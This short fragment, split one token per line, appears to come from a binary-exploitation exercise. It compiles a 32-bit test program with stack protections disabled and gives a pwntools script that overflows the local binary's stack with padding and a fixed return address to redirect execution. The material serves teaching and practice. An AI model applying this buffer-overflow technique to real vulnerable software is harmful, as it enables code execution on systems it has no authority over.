gcc
-
no
-
pie
-
fno
-
stack
-
protector
-
z execstack
-
m32
-
o test test.c
Exp:
from
pwn
import
*
testProcessHandle
=
process(
"./test"
)
epbOffset
=
0x28
+
0x4
expAddress
=
0x08048456
payload
=
'A'
*
epbOffset
+
p32(expAddress)
def
main():
testProcessHandle.sendline(payload)
testProcessHandle.interactive()
if
__name__
=
=
"__main__"
:
main()